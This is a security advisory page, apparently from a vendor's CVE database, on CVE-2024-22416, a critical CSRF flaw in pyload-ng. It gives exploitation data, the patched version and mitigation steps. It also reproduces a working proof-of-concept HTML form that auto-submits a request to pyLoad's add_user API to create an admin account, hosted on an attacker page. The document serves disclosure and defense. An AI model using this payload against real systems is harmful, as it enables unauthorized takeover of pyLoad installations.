CVE-2024-22416 is a critical-severity (CVSS 9.6) Cross-Site Request Forgery (CSRF) vulnerability in pyload-ng. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for pyload-ng — see the affected versions and patch details below.
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-22416.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev78pip install --upgrade 'pyload-ng==0.5.0b3.dev78' |
Affected Products
pyload-ngpyload-ng_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev78 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-22416 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2024-22416 in your dependencies?
Find it across PyPI, including transitive dependencies.